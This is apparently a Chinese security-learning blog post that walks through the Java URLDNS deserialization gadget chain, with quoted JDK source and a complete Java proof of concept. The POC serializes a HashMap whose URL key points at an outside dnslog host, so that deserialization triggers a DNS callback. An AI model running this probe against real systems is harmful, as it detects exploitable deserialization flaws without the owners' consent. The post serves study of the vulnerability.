一.前言
在初步学习java的序列化和反序列化之后,这里学习java反序列化漏洞的一个利用链,也是比较基础的一条链。
由于URLDNS不需要依赖第三方的包,同时不限制jdk的版本,所以通常用于检测反序列化的点。
二.代码展开分析
构造链
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
显示HashMap里面的readObject方法
HashMap为了保证键的唯一性,将键里面的每个元素进行计算,在类的最下面有个putVal方法,里面调用了hash方法,跟进到hash方法
如果键为空,返回0,否则对键进行hashCode,与右移16位值异或运算。如果传入的key是url,那么就会调用URL类里面的hashCode方法
如果hashCode不是-11,则返回hashCode,否则执行handler.hashCode
在URL中发现hashCode默认值为-1
所以会执行handler.hashCode
handler是URL里面的URLStreamHandler类的一个对象
该类里面的hashCode方法是
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
里面调用了getHostAddress,跟进到这个方法
里面调用了getByname方法对域名进行解析
总的来说
readObject()->HashMap.putVal()->hash()->hashCode()(URL类)->getHostAddress()->getByName()
POC,比ysoserial版本更容易理解一些
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class UrlDns {
public static void main(String[] args) throws MalformedURLException, IllegalAccessException, NoSuchFieldException {
/**
*
* URL类-->hashCode()方法-->1.hashcode=!-1-->不执行DNS解析
* -->2.hashcode=-1-->handler.hashCode()(hander为URLStreamHandler类对
* 象)-->getHostAddress(u)-->getByName(host)-->做一次DNS解析
* HashMap类-->put(k,v)-->putVal()-->hash(k)-->k.hashCode()
* HashMap类
* 当HashMap的key传入为Url类型的话,k.hashCode()就会执行URL类的hashCode方法
* hashCode对象默认为-1,也就是说传入的url会默认执行一次解析,为了验证是否存在反序列化存在,需要在反序列化之前不执行dns解析,
* 因此需要通过反射将hashCode的v改为其他,再执行序列化与反序列化操作
*/
HashMap<URL, Integer> hashmap = new HashMap<>();
URL url = new URL("http://1zxjmx.dnslog.cn");
//创建一个新的url类
Class urlClass = url.getClass();
//反射获取url的类名称
Field field = urlClass.getDeclaredField("hashCode");
//反射获取URL类的hashCode字段(默认为-1)
//getDeclaredFields:获取当前类的所有字段,包括 protected/默认/private 修饰的字段;不包括父类public 修饰的字段。
field.setAccessible(true);
//取消java语言访问检查
field.set(url,3);
//设置url的hashCode值为3
hashmap.put(url,1);
//HashMap类的put函数,传入键url 和任意一个值
field.set(url,-1);
// hashCode值变成1才能触发handler.hashCode
try{
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("E:\\tao.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashmap);
objectOutputStream.close();
fileOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("E:\\tao.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
} catch (FileNotFoundException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
}
}
}